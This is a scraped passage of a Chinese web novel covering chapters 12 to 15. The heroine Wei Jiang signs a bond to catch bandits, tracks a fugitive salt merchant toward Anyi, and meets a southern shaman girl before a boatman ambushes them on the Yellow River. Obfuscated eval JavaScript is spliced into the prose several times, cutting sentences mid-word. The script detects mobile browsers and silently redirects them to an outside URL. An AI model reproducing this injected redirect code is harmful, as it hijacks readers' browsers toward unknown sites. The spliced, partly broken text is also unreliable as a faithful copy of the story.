“两个月,拿下刘彧同党。”郑县令竖起两根手指道。 刘病已忙揖手:“还请郑县令宽限些……” “好!两个月足矣。”还未等刘病已再求,卫绛已然一口答应下来。 “哎呀……”刘病已懊恼抚掌。 郑遨似是怕卫绛反悔,当即命书吏拟了一卷赎罪契,递到卫绛跟前。 “识字否?”书吏乜着她问。 卫绛瞪他一眼,一把夺过卷牍,将赎罪契从头至尾读了一遍,确认三个要点:一、最迟于十月末抓捕逃犯;二、最少须将太乙宫案涉及的主犯抓捕归案,包括但不限于那在逃的王姓盐商;三、主犯必须活捉。 卫绛心想:太乙宫案归属盩厔县管辖,杜县只有协查的份,郑县令倒是很热心,难道是想抢功? 条件苛刻,但卫绛还是认了。她问书吏借了笔,签上“卓孺狼”三字。那书吏颇尴尬,心觉眼前这胡女深不可测。 郑遨道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554042|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好。卓孺狼,你记着,签了这契,当信守承诺,履行契约。若违约,本府将逮捕尔等三人。你母亲、姊妹这段时日会羁押在本府房舍中,待你办差完了才可放归。你阿母现在何处?” “房舍,非监牢?”卫绛确认道。 “本府做事讲究天理人情,按律是该收押入监,但念在你阿母、姊妹无辜受害卧病,本府自会照拂,供给屋舍餐食,给与救治。”郑遨道。 他说这话时,一旁的县尉周长懋和书吏皆欲言又止模样,显然他们对于县令的做法感到意外惊愕。刘病已倒是面露喜悦,看郑遨的眼神中多了几分钦佩。 卫绛心想这位县令做事倒是很有章法,她正愁无处落脚,能安排阿母和慕沙在杜县县衙住下,便再不费心。于是很干脆地报了太乙山下的白猎头家。郑遨点了周长懋,让他随卫绛亲自去将卓罗接过来。 周长懋不情不愿,但无法违抗,只得揖手应下。 不久,卫绛拿回了自己的行囊驮袋和马匹,包括环首刀和弓箭,以及她从白猎头那里借来的弓刀。但她的箭却被限制了数量,只给了她五支箭。 卫绛临出发前,去看了看慕沙。刘病已随她一起,半途轻声对她说: “那两个匪徒伪装成盐商之事,县令当不知情。此事恐还有内情,你多考量。” 卫绛迷惑,一时不得此话之意,她心忧慕沙,只将此事于心中搁置。 为慕沙看病的医家是个女医家,相当年轻,瞧着不过十七八岁。令卫绛惊讶的是,这医家也姓淳于,而且刘病已竟然也与这位淳于医家相识,据他说,这位淳于医家是妇科圣手,名冠关中。 “我此前遇着一位关中第一神医,也姓淳于,未知与您有何关联?”卫绛好奇问。 “咦?那是家父淳于义。莫非家父提及的那位在白猎头家中的西域女子,是你的阿母?”女医家奇道。 “正是!” “巧了巧了,家父不久前刚带了药去为你阿母医治,这会子应该赶到白猎头家里了。”女医家笑道。 原来是父女,卫绛暗道真是有缘,忙揖手下拜感激:“卓孺狼拜谢尊父女救命之恩。” 女医家抬了抬她的手,道: “莫要这般客气,我叫淳于衍,大不了你几岁,你唤我阿衍便是。” 彼时淳于衍已用竹管给慕沙喂了药,慕沙气色略有好转,但仍未苏醒。卫绛拿出那黑衣女子抛给她的药瓶,请淳于衍分辨此药是否可用。 淳于衍取出一粒药丸,端详后又在指尖碾碎,细嗅分辨。末了道:“这药丸很是别致,但确然是能解毒,家父曾到过南方,带回来一些这类解毒药丸。南方烟瘴毒虫横行,山野人几乎都有解毒方子。万物相生相克,毒物所处方圆五里之内必有解药。” 卫绛大喜:“还请救我阿姊。” “放心,她无大碍,待你回来,她当能醒来了。” “如此甚好。” 卫绛心中大定,再不多犹豫,她心忧母亲,片刻不敢耽误,急急忙忙牵了马往县衙外冲。周长懋正在套车,差点被她落下,气急败坏地骂道: “胡女!你当下可在我监管之下,不可乱跑!” “快!你这人真好似七老八十,行动迟缓!”卫绛毫不客气地催促,然后不管不顾就打马离去,气得周长懋胡须都飞起来。 “哈哈哈哈……”刘病已站在马厩旁看热闹,笑得十分开怀。 “病已小兄弟,我派人备马护送你回去,今日就此作别。”周长懋匆匆对刘病已留下一句叮嘱,便急急忙忙驾车去追卫绛。 刘病已目送他离开县衙,身旁牵马的游徼已在等候。他原地踌躇了片刻,似在思索甚么。随即一转身,见远处公署西侧檐廊下,县令郑遨正负手遥望马厩。 刘病已唇角浮起意味深长的笑容,揖手向他一礼,便不再踌躇,跨马离去。 13.第十三章 卫绛赶到白猎头家时,已是午后。淳于义正在白家二老的协助下,小心为昏迷的卓罗喂药。卫绛急匆匆将药丸送到,等淳于义检查完药丸,确认药丸可用后,她才长出一口气。 紧赶慢赶终于驾车赶来的周长懋,与白猎头在前堂会面交谈,告知情况。卫绛将从白猎头那里借来的刀与弓箭原样奉还,此后便不愿多说话,一直陪在母亲身边。她看着淳于义将药丸捣碎化水,给母亲服下,看着母亲面色逐渐转好,心中绷着的弦终于松了,随即肚皮饿得震天响。 “呵呵呵,瞧这孩儿饿的,来来来,我给你做些吃食。”白家老妪起身入后院庖厨,卫绛被饥饿催动着也跟了过去,蹲在庖厨门口,眼巴巴地看着锅里的正在煮着的饭食。 “莫急莫急,我再加些,这点剩饭恐不够吃。”白家老妪自粟缸中舀出半勺来淘洗,但转头对上卫绛那冒着绿光的饥饿眼神,一时踌躇,又将粟缸里仅存不多的粟米全都倒了出来,随即又揭开庖厨的牖窗,对菜地里喊道: “儿啊,宰两只鸡来!” “啊?知晓了,母亲。”后院传来了一男声。 “使不得,怎好吃光恩人家存粮。”卫绛终于知道要客气一下。 “要的要的,莫客气,正是长身体的时候,你奔波了一整夜,该是饿坏了。”白家老妪笑道。 不多时,庖厨门口进来一位青年汉人男子,手里提着两只刚宰杀拔毛的雉鸡,见到卫绛蹲在自家庖厨门口,唬了一跳。 卫绛起身行礼,饶是她饿得狠了,也实在有些不好意思了,退出庖厨。走远几步,隐约还能闻得母子二人对话: “母亲,您怎的把粟米全煮了?” “你看那胡女,比你都生得高大,自然也比你吃得多呀。” “吃得再多,这……也太多了。” “你小气甚么,何为待客之道?那胡女生得高大白皙,功夫又好,我见她第一眼就觉得欢喜。她对母亲特别孝顺,我这心里也快慰。” “可……咱家真的要揭不开锅了……” 卫绛觉得臊得慌,思来想去,不能这般白吃白住,总得给报偿。幸而她把包袱钱财都拿回来了,于是取了两吊钱。挂在墙头斗笠后,又去了井边,为白家挑水。 待到水缸都满了,又去劈柴,她活干得极其利索,烹煮饭食的工夫,她就为白家劈了三日份的柴火。 她这干活的动静吸引了前堂聊天的周长懋和白猎头,二人站在后院檐廊下看她干活,白猎头不禁感叹:“真是从未见过这般模样的女子,猎人的好苗子。” 周长懋哂笑道:“此女若是查不出匪徒,莫说做猎人,怕是此生都要为奴,在边境垦荒。” “县尉,小人斗胆一问,就没有一丝转圜余地吗?”白猎头揖手道。 “嗯……不好说,权看县令的意思了。”周长懋没有正面回答这个问题,转而道,“但与你家并无干系,你不必多虑。一会儿用完饭,我就带她母女二人回县衙,白猎头,近来山中不太平,你们也多些心眼。” “是。”白猎头若有所思地点了点头。 尽管吃饭时,卫绛已然克制自己尽量缓食,但她的风卷残云还是看呆了周长懋和白家人,众人心中齐齐感叹:此女是如何养大的,怕不是西域巨富才养得起这饕餮般的肚皮。 吃完饭,卫绛整理衣袍,起身揖手对周长懋道: “周县尉,小女不能白吃恩人家吃食,且许我一个时辰,小女入山打些猎物来回报。” “一个时辰?” “是,家母在此,小女绝不会私自逃遁。”卫绛道。 “我知晓,我的意思是,一个时辰就够了?”周长懋道。 “足够了,绝不耽误宵禁前回县衙。” 言罢,携了弓箭就往山中奔去。不消一个时辰,猎回四只野兔、一头獐子、三只野雉,用草绳串了,一并扛了回来。 白猎头和他儿子见此情状皆失语,莫能相比。淳于医家则抚掌大笑,抓着卫绛连声道: “小娘子好身手,下回随老夫进山采药去。太乙山南山阴,洞穴内生有好大一丛重楼,有一条碗口粗的巨蟒盘踞守着,我远观数月无法接近,还仰仗小娘子相帮。” “好说,好说。”卫绛应下。 周长懋嘴上催促着卫绛赶紧出发,心中暗忖此女做猎人也有些屈才了,以她的身手,若能从军,少说也是个比六百石的军侯。可惜了,怎就是个女子,纵使再有才能,也从军无望。 卫绛给周长懋驾来的车板上铺好软铺,将卓罗小心抱上去。随即将行囊都收拾到车上,牵了马出来,将只可容两人的狭窄车舆让给了淳于义。 她揖手,郑重向白家三人辞别。此去未知将来还能否再见,萍水相逢,纵然是他乡之客,白家人也毫无保留地给与了她帮助,卫绛铭感五内。 她跨上马,一车一马行入道上,向杜县而去。 …… 卫绛并未急着去追缉那逃遁的王姓盐商,将卓罗安稳带回杜县县衙后,她守在了母亲和慕沙身边。慕沙彼时已然苏醒,且从淳于衍口中知晓了事情的来龙去脉,而卓罗显然伤得更重,发热不断,一时半会儿醒不来。 慕沙再见到卫绛、卓罗,不由得落下泪来。此番遭难,她还以为真要一命呜呼了,如今峰回路转,真好似噩梦一场。 杜县将卫绛三人安顿在了衙署旁的仓房中,这仓房是用来存车辇部件的,大量的轮毂、车轴、旗杆等杂物长久堆放,无人清扫,布满蛛网与灰尘。 周长懋命人铺了些厚草甸,其上再铺一层席面,摆放了一方案几,三卷铺盖,一盏油灯,一个水缸,就成了她们的住处。 “自明日始,饭食每日有人送,若要沐浴,茅房旁有一间净房,盘盆釜瓢一应俱全,自己打井水。”胥吏交代完这些,便离开了,也无人刻意盯着她们。 卫绛三人终于重聚,淳于父女也会合。这父女俩因着不放心卓罗、慕沙身体,一直留到三人彻底安顿下来也未走。彼时已然宵禁了,父女俩也不好上街还家,只好也在此地将就过夜。 淳于衍挥着手驱赶蛛网灰尘,她很是嫌弃此地,道:“还不若到咱家去住,这地方,怎能养病?” 淳于义道:“恐怕县衙不肯放人呀,当下能住在这里,都已是令君宽恩了。” “无碍,待明日我收拾一番,当能舒适许多。”卫绛道。 “卓小娘子,你可饿了?我这儿还有些肉脯、糇粮,给你吃。”淳于义从自己随身的医箧里取出了装干粮的布包。 “我不饿,二位淳于医家,你们也奔波了一日,快吃些填填肚子。”卫绛忙摇手拒绝道。 “诶,我们饿一顿没甚么,病人要吃饭。我去问问看县衙的庖厨,看能不能借灶,煮点饭食。”淳于义起身,招呼淳于衍。 淳于衍会意,当即跟着父亲离去。 二人刚一走,慕沙就虚弱问道:“孺狼,他们逼你缉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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父女二人走后,县衙来送朝食,饭食简陋、量亦稀少,卫绛不敢多吃,都让给了慕沙和卓罗。 “我今日就出发,到了外面,我自己找吃食,不必担心我吃不饱。你们若吃不饱,就请淳于医家送给吃食,咱们给钱就是。” 她说着就起身,动手收拾这仓房,她将那些杂乱堆放的物什归置了一番,掸去灰尘,又去挑水洒扫。沉重的物件在她手里好像轻无重量,她忙活了一阵,总算收拾出一个相对干净整洁的居处环境,自己却成了个灰人。 接着她去县衙净房快速沐浴更衣,换上一身利落的白麻镶黑边的短褐,依旧学汉男束发,以长巾抹额,飘带于背,如此固发利落,便于行事。她收拾好两套换洗衣物,带上一些钱财,打了包袱。携了环首刀与弓箭,最后戴上斗笠,便准备出发。 慕沙将她送到马厩边,看着她套马,满眼不舍与担忧。卫绛在她眼里还是个尚未完全长大的孩子,她实在担心她孤身一人在外行走。此去,不知卫绛是否能在限期内抓到人,只盼上苍保佑。 “我走了,你与阿母多保重,抓不到人,我短时间内怕回不来。若情况有变,你便宜行事,我有法寻得到你们。” “我省得,你放心去。”慕沙知晓她话里意思,点头道。 卫绛不多眷留,狠了狠心,拨马飞快地奔出了县衙门阙。 14.第十四章 杜县卤泊以东四十里,卫绛正坐在的田边地垄上,就着竹筒里的水吃下一大块粟糕。这粟糕是从农户家里买的,就是将粟米蒸熟,捣制捏合成长条状,烤干制成的干粮。十文钱给了三斤,可供长途旅行时吃。 她刚从卤泊一路索迹至此。那王姓盐商曾跳入过卤泊,身上沾满了盐水,逃遁过程中留下脚印,干涸后会形成白色的盐痕。距离他逃遁已有一日半,留下的痕迹已然很稀薄,好在近日来未曾下雨,卫绛靠着自己敏锐的嗅觉,还能分辨出咸味。 卤泊追出五里地,痕迹还很明显。但随后便途径一处村庄,脚印出现在了村庄东侧的便道上。卫绛判断那人可能绕开了村庄,穿过田野,继续向东。于是一路再追,然而不出二里地,痕迹就彻底消失了。 她心想自己大概是被骗了,那人兴许是进了村庄,想办法换了衣服。于是忙折返回去,敲开村庄人家的门,挨家挨户打听那王姓盐商是否来过。村民们都一头雾水,且因她长相特殊,畏惧卫绛。卫绛甚么也问不出来。这样一来,她如陷入迷雾,暂时失去了方向。 这事后追索,金雕天山帮不上忙,它能从高空捕捉动态猎物,却很难锁定细微的痕迹,一切还得靠卫绛自己。不过金雕认主,卫绛在哪儿它就在哪儿,不会超出她所在范围内十里地。 卫绛没有气馁,而是停下来休整思索。 阿母在入玉门关后的一年半内,一直在跟她讲汉地的律法、策令与民风,她似乎甚么都知道,知识广博。卫绛彼时学来吃力,只是死记硬背入脑。但随着在汉地生活时间长了,逐渐彻底入心。 而刘病已更是专门研究过盐业,他在和卫绛闲聊中提过,?关中整体来说是缺盐的,用盐大多从河东、渤海、会稽贩运供给。杜县卤泊是长安周边唯二的卤泊,且面临三十年内彻底干涸枯竭之前景。还有一处卤泊位于左冯翊的莲勺县。 当今天子登基之初,大司马大将军霍光召集其余三位顾命大臣、三辅主政官员以及贤良、文学召开盐铁之议,稍稍放宽了武帝时期严格管控的盐铁官营之策。但也只是罢去了郡国酒榷和关内铁官,其余政策未变。 也就是说,盐业依旧是官营。所有贩运盐的商人,都是盐官。这些人在盐业官营之初就是私人盐商,官营后,身份由民变为官。他们必须按照官府的安排,在本地召集平民为盐户产盐,按照官府定价收购盐,按照既定的运输路线,将盐转运分销至各地,或转入盐仓贮存以备平抑。 最后这些盐流转入各地城镇中的官盐肆内进行售卖。不同的盐商只负责自己片区内的盐业,不得跨区贩售,否则将视为走私。 卫绛越想越觉得不对劲。刘病已此前与她私下里提过,刘彧、王姓盐商自称是淮东盐商,是杜县县丞安排来贩盐的。然而杜县上上下下对此不知情,更没道理将本就产量不大的杜县盐贩往淮东。 难道是那匠头有问题?似乎不是,那匠头不过是本地盐户中推举出的头人,只知道制盐,不大可能接触到此事的核心。 全国盐业由大司农把持,汉地全境主要产盐区共设三十七处盐官署,所设官员皆为来自大司农的斡官,主官为盐长、副官为盐丞。与县衙平级,互不隶属。 如若这两个冒充盐商的盗匪手中当真持有能骗过本地盐户的策令,且一年来未曾被揭穿,这不就意味着关中盐区的盐官对此知情,乃至于放纵包庇? 这也就意味着,这两个盗匪绝非寻常的蟊贼,他们很可能与盐官中的某些利益群体绑定。 这二人当下行迹暴露,一死一逃。那逃跑的会去哪儿?多半是要去找他背后的盐官才是。思及此,卫绛一口吞下最后一小块粟糕,猛地站起身来,跨上马就往回赶。 一路奔到杜县卤泊,还未进卤泊院门,就见道旁走出一年轻盐工。她当即上前,抓着他就打听关中地区归属于哪个盐官衙署管理。 那盐工下意识要跑,被卫绛扯过衣领摁在地上。他衣襟被扯开,露出了衣领下的左侧脖颈靠近锁骨处上,有一颗暗红色的胎记。 那盐工被她吓得不轻,结巴半晌才终于讲明白。原来这关中地区归属于河东盐区,因为大部分的关中用盐都由河东安邑出产,俗称为“潞盐””“河东大盐”。而河东盐区的官盐衙署就位于河东郡安邑县。 “安邑距离此地多远?该怎么去?”她追问。 “安邑此去向东北五百多里,要从蒲坂津过大河,驿传快马也得走五日。你一人一马,怎么也得走十天半月的。”盐工回道。 卫绛叹了口气,不敢再耽搁,当即上马赶路。 好在,杜县县衙为了方便她行走,给她开了一份限时两个月的公务符传,她能拿着符传投靠馆驿歇脚补给。但卫绛为了节省时间,马歇人不歇,只在驿站换马、补给干粮饮水,不歇脚,近乎没日没夜地赶路。 此去安邑,可分陆路、水路两路,陆路当然更快。卫绛不敢断定那人会走哪一条路,但她必须以最快的速度赶到安邑,才能留足时间与其周旋。 从杜县到蒲坂津,她快马三日便到。但三日三夜未休,实在有些扛不住,她趁着在津口等候渡船的工夫,坐于黄河边的避风亭内,倚着亭柱,斗笠遮面,闭目补眠。 此段大河自北向南流,她在河西岸,听着大河滔滔,逐渐陷入睡梦中。长于大漠,她只在此前东行时见过一次大河,那时的大河还不是这般汹涌澎湃的模样。初见蒲坂津的大河时,被波涛汹涌之势所慑,望之久久不能回神。入梦了,也觉自己漂在河上,浮浮沉沉,没个着落。 忽而身下一空,她惊坠而醒,紧接着脑后被结结实实撞了一下,将她打蒙了。她茫然睁眼,发现自己正倒在地上,脚还翘在亭阑之上。她发懵地盯着亭顶藻井,半晌才意识到自己从柱旁滑落,头朝下栽地。斗笠也滚在一旁。 “呵呵呵呵……”旁边传来了一串银铃般的笑声,她望着藻井的眸光被一张探过来的面庞遮蔽。 是个女孩儿,正瞪着一双玲珑剔透的大眼睛探究地望着躺在地上的她,唇角挂着戏谑的笑容。 卫绛忙坐起身来,龇牙咧嘴地揉了揉后脑勺。 “咦?绿眼睛,你是个胡女?怎睡在此处?”那女孩儿问道。她声音清脆,甚为好听。 卫绛站起身来,面向那女孩。她荆钗布裙,绾着高髻,背着个竹篓子,瞧着像是个平民女子,身上却挂着许多银环银串。裙裤较短,露出脚踝,踩了一双草履,左脚踝上用红绳拴着一串叮铃铃的银铃铛。仔细瞧,她短褐襟边、袖边、裙边都绣着十分好看的鸾鸟纹,又不似穷苦人家的女儿。 她瞧上去二八年岁,身段婀娜,已然长成,与卫绛年龄相仿。虽然身量不到卫绛下颌,对卫绛来说十分娇小,但已是成年女子的寻常身量。白皙的肌肤嫩得好似能掐出水来,一双灵动的美眸清澈如湖,映照出卫绛的影子。 她仰着头惊讶地望着卫绛,朱唇半张,惊愕地道:“咦!胡女都生得这般高大?真了不得。” 卫绛盯着她,半晌没说出一个字。这女子长相极美,那是卫绛从未见过的柔美,只一眼就好似融进了心田。她说话咬字吐音带着股难以形容的娇俏意味,那许是她的乡音夹杂于凡语所形成的腔调,听得卫绛心头直跳。 卫绛意识到她许是母亲提过的南方女子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565088|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >南方女子都这般美吗? 卫绛盯着她瞧,她也盯着卫绛瞧。片刻后,她突然道: “你长得真好看,尤其是眼睛,很漂亮,像宝石。” 她的直白让人猝不及防,卫绛顿时感到很不自在,面上发热,忙撇开目光,将斗笠捡起来,掸去灰尘戴上。 “你怎的胡言乱语,汉人都说我长得怪,不好看。”卫绛垂首道。 “他们才是胡言乱语,你分明就长得很好看。他们只是少见多怪罢了。”女孩笑道。 卫绛更加赧然,以至于不知该作何反应,只得将斗笠压得更低。 “你怎睡在此处?”女子似是看出她不自在,便转了话题,又问了一遍最开始的问题。 “我……我等船。”卫绛道。 “巧了,我也在等船呢。你这是要去哪儿?”女子笑意盈盈地问道。 “去河东。” “我也去河东呢,我俩恰好同行,这可是同船之谊。”女子言罢,便自自然然在卫绛方才坐着睡觉的位置旁落座。 卫绛神情若有所思,她觉得这女子说话的声儿有点熟悉,但印象太模糊了,一时想不起来。 那女子见她傻愣在原地,道:“你站着作甚,来坐下呀,渡船还要一会儿才来呢。” 卫绛局促地在她身边坐下,女子立刻往她手里塞了一个温热的东西。 “趁热吃。”她笑道。 卫绛发现那是个用叶子包裹着的圆球,散发着清香味。她剥开叶子,内里露出一个晶莹的白团子。 “这是甚?”卫绛好奇问。 “米团子,你没吃过吗?” “米?” “对啊,稻米做的米团子,胡人那里没有吗?”女孩儿自己剥了一个,已然开始嚼着吃。 “你莫老是胡人胡女地叫,我有名字。我叫卓孺狼。”卫绛咬了一口米团子,满口软糯甜香,她登时眼前一亮,这可比粟黍、粗麦要好吃许多。 “孺狼?哪两个字?”女孩儿嚼着米团子,疑惑又含混地问。 卫绛一时语塞,不知该如何解释。想了一会儿,她干脆伸出长腿,用足尖在地面上比划着写下两个字。 “你怎会叫这么个名?小狼崽儿,哈哈哈……”女孩儿又笑起来。 “那你叫甚么名字?”卫绛不服气地问。 “你可以叫我阿柔。”女孩大大方方地道。 “小阿柔!”卫绛报复般喊道。 “哈哈,你这人真有趣儿。”阿柔乐开了花,“那咱来比比谁大,你是哪年哪月生的?” “征和二年九月。”卫绛道。 “那我确实比你大,我是征和二年八月生。”阿柔道。 “真的?你未曾诓我?”卫绛怀疑。 “说甚诓你?我们僰人实诚,有甚说甚,从不诓人。”阿柔说着一口吞下米团子,将叶子叠了叠,塞进了脚边的竹篓里。 “博人?”卫绛疑惑。 阿柔学着她,用脚尖在地上写出了“僰”字,她写字时身姿的律动优雅极了,好像仙鹤在起舞。 “我不认识这个字。”卫绛老实道。 “这字确实不好认,所以汉人也叫我们濮人。”说着又把濮字写出来。 “更不好认了。”卫绛眯起眼。 阿柔被逗得又笑起来:“好啦,现在你认识啦。总之,我不是汉人,你应该看出来了,我是南方楚地来的。” “楚地在大江以南,这里都是大河了,你过河所为何事?”卫绛好奇问。 阿柔嫣然一笑,道:“我是楚巫,河东郡有一户人家,请我作法驱邪。” 15.第十五章(投雷加更·3) 卫绛听闻阿柔此言,一时沉默下来,半晌没有回应。 阿柔见她突然沉默,以为她不懂自己在说甚么,掐腰问道:“你们西域难道都没有巫术的吗?” 卫绛解释道:“西域各国都有大巫,大多信风、火、雷电等天神,由本地的大巫领大家祝祷,祈祷风调雨顺、商道畅通、草场繁茂。” “即如此,道理是一样的。鬼晓得吗?” “当然知晓。” “驱邪就是驱鬼,恶鬼上了人身,会害得人疯癫失智,就得想法子驱赶走。”一边说,阿柔还一边做鬼脸想吓唬卫绛。 可她那张秀美的面庞做起鬼脸来却显得格外俏皮可爱,卫绛不仅没被吓到,反而被逗笑了。 “哈哈,鬼那么可怕,你却一点也不可怕,你驱赶得了吗?”卫绛笑道。 “你懂甚么,我们楚巫可是有一整套吓唬鬼的行头的。”见卫绛不信自己,阿柔很不服气,她抓过竹篓,揭开蒙在篓口的芭蕉叶,从里面掏出一副面具,展示给卫绛看。 这是个青面獠牙的鬼面具,瞧着着实可怖。 “这叫傩面,傩仪听说过吗?这套仪轨本是汉人的祭祀驱邪术,后来汉人向南与我们僰人通婚融合,生活在一起,傩仪与我们本地的巫术融合,就演变成了我们楚巫独具特色的傩戏。” 卫绛瞧着那面具,若有所思。阿柔见她不说话,强调道: “你别不信,我楚巫发展八百年,可卜吉凶、可控人心、可化邪崇、可千里之外取人性命,相面占星、趋吉避凶,无所不能。” “那有诅咒他人之法吗?” “有是有,但此法凶险,害人害己,万不得已不可用。喂,你莫不是也要诅咒甚么人罢……” “你所说的,可是多年前巫蛊之祸那种埋木人的诅咒之法?”卫绛的声线越来越沉重。 阿柔挑眉,道:“你也不是一无所知嘛。不过,你说的非是我楚巫的诅咒之法。那是汉人的巫鬼诅咒术。他们用桐木制作小偶人,上面写上被诅咒者的名字,生辰八字等,然后施以咒术,将其埋放到被诅咒者的住处或近旁。行此术者相信,如此被诅咒者的灵魂就可以被控制或摄取。而我楚巫的蛊法,用的是蛊虫,目的是牵心。世人大多将这两者混淆。” “是吗?难道不都是诅咒他人之术,又有何分别,都一般邪恶。”卫绛将面具还给阿柔,显得兴致索然。 “你这话说得就不对了,术就是术,术是人用的,人心不正,术自然就用邪了。我楚巫的蛊治的是负心郎,下蛊是为了解蛊,从不滥用。”阿柔拿回面具,很是不悦道,“正因世人都如你这般想,我楚巫十六年前才会遭那番无妄之灾。” “你们遭了甚么灾?”卫绛好奇问。 阿柔方才被她惹得不悦,这会儿不愿说,撇过头去不理她。 卫绛挠了挠头,一时讪讪。她也不追问,亭内便陷入沉默。好在艄公的哨声响了,河面上远远划来一艘舢板,是渡船来了。 卫绛长舒一口气,这渡船她苦等了将近一个时辰,未免有些太过缓慢了。刚准备提醒阿柔往码头去,人家却早就背着背篓先走一步了。 卫绛忙扎好包袱,背上刀和弓箭,又去牵马。待她赶到码头时,已然等在栈板上的阿柔却突然回身,主动和她说话了: “你来时,这码头有几艘船?” “一艘也无,连人都瞧不见。我等许久,这会儿才终于等到。”卫绛道。 阿柔蹙眉思索,道:“似乎有点不对,听闻这蒲坂津素来繁忙,东来西去的都得走这儿过河,尤其是盐船,更是穿梭不息。可你瞧这河面上,除了那艘舢板,怎不见一艘船呢?渡口除了我们俩,也不见别人。” “许是船都被调走了。我来时听驿站里的人议论,说是今年春夏征乌桓时,军队自东北密林中伐了不少巨木运回,眼下都得一批批走河道运抵长安,修建陵寝宫室。”卫绛道。 卫绛的猜测似乎对了,待那舢板靠近,阿柔问了艄公为何河面上无船,艄公的回答与卫绛的说法一般无二: “就剩我这一艘舢板来回运人,河水走得急,我这一把老骨头撑几个来回,就撑不动了。方才送了人去对岸,歇了个午觉,让二位久等啦。” “那怎么不见往来客商,就只有我二人?”阿柔又问。 艄公解释道:“你二人许是不常渡河东去,因此不知原委。如今大多客商都走上游的潼关渡过河,那儿是官府的大渡口,船只繁多。这蒲坂津的船皆被征发做了货船,沿河而下去运木了。摆渡的也都被连带征为苦力了。就我这老骨头,没甚么气力,才留在这里渡人。” 弄清原委,阿柔便不再多疑,跳上船去。卫绛跟着小心上船,可马却不肯走。为了把马牵上船,卫绛生拉硬拽,颇费了一番功夫。 这一上船,脚下浮沉晃荡,颇为不稳。卫绛看着船外的滚滚波涛,顿感不适。她不会水,更是没怎么坐过船,一上了船就像断了根似的,心里没个着落。 阿柔见她一上船就蜷缩成一团,蹲在角落里,忍不住噗嗤一声笑出来。 “小狼崽儿,不会水啊?”她扬着下巴笑问。 卫绛瞪了她一眼,不说话。 “那么大个儿人,怎团成米团子了呢,哈哈哈哈……”阿柔心生大仇得报的快感。 她生在水边,自幼凫泅大江湖泊,极为熟悉水性,撑船打渔也不在话下,双脚一支开,便在甲板上稳稳立住,半点不倒。 “我是不会水,那你懂听风辨向,大漠寻踪吗?”卫绛不服气地还嘴道,虽然还嘴时她还是很老实地蹲在角落里,不敢起身。 “呦,你还有这等本事啊。”阿柔颇有些阴阳怪气。虽然卫绛所说,听起来确实很厉害的样子。 卫绛晕船了,一时没力气和她斗嘴,一个人鼓着腮帮子生闷气。艄公吃力地摇橹,好不容易将船驶入大河中段。忽而就歇下手来,将船停下。船失了前进的力道,又未曾下锚栓索,开始随波逐流。 卫绛登时急了,回头问: “艄公,怎不摇船了?” 那摆渡艄公叹口气道: “诶,你这胡女长这么高大,还带了匹马,船吃水太深,老骨头摇不动喽。” 站在船头的阿柔闻言,立刻转身往船尾走,道:“您歇着,我来帮您摇。” 就在她穿过马匹,走到卫绛身边时,艄公突然发难,手一挥,袖中抖出一串暗器,飞花般向阿柔和卫绛飞来。 阿柔吃了一惊,立刻撤步下腰,要使出鹞子翻身躲开暗器。奈何船身狭窄,她被夹在马匹和卫绛之间,动作施展不开,加之船甲板上盘着许多绳索,她不慎踩到了绳子上,登时打个出溜,身形霎时乱了。 瞬息间的躲避之机被这一滑耽搁,阿柔绷紧身躯,周身银器零落叮当,散开的衣襟下鱼鳞软甲反射着光芒。 身负防护,她打算硬吃暗器,忽而身边卫绛闪电般蹿出,环首刀霹雳出鞘,只听“叮铃哐啷”一片响,刀光在阿柔眼前闪烁,暗器被卫绛迅猛的刀法击飞,她高大的背影好似盾牌,将阿柔牢牢护在身后。 打飞暗器,卫绛趁势一个大跨步前出,若狼奔豕突,刀锋直指船夫。 又是这招……脑海中闪过这个念头,阿柔摔倒在甲板上,马匹受惊扬蹄,差点跺到她脑袋上,被她急忙一滚惊险闪过。她一个乌龙绞柱起身,从袖管里抖出了一只匕首,持握在手,蹲踞于甲板上做蓄势待发状,双眸紧紧盯住卫绛与船夫的对战。 卫绛的大踏步让船上下颠震,艄公见卫绛攻势强锐,立刻双脚来回踩动船舷两侧,他一双蒲扇般的大脚赤足立于船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卫绛猝然落水,霎时被灌了好几口黄汤,呛得鼻酸,眼前发黑。她身子很沉,又不会凫水,在水里乱蹬乱抓,却无可遏制地往下沉。她脑子里一片混乱,却死攥着手里的刀不肯撒手。 忽而腰间一紧,有人拽着她的腰带把她往上提,带着她向上游,浮到水面上,卫绛大喘一口气,呛得咳嗽不止。就听阿柔在喊: “莫乱蹬!丢了刀!你太沉了,我拽不住!啊!狼崽儿!” 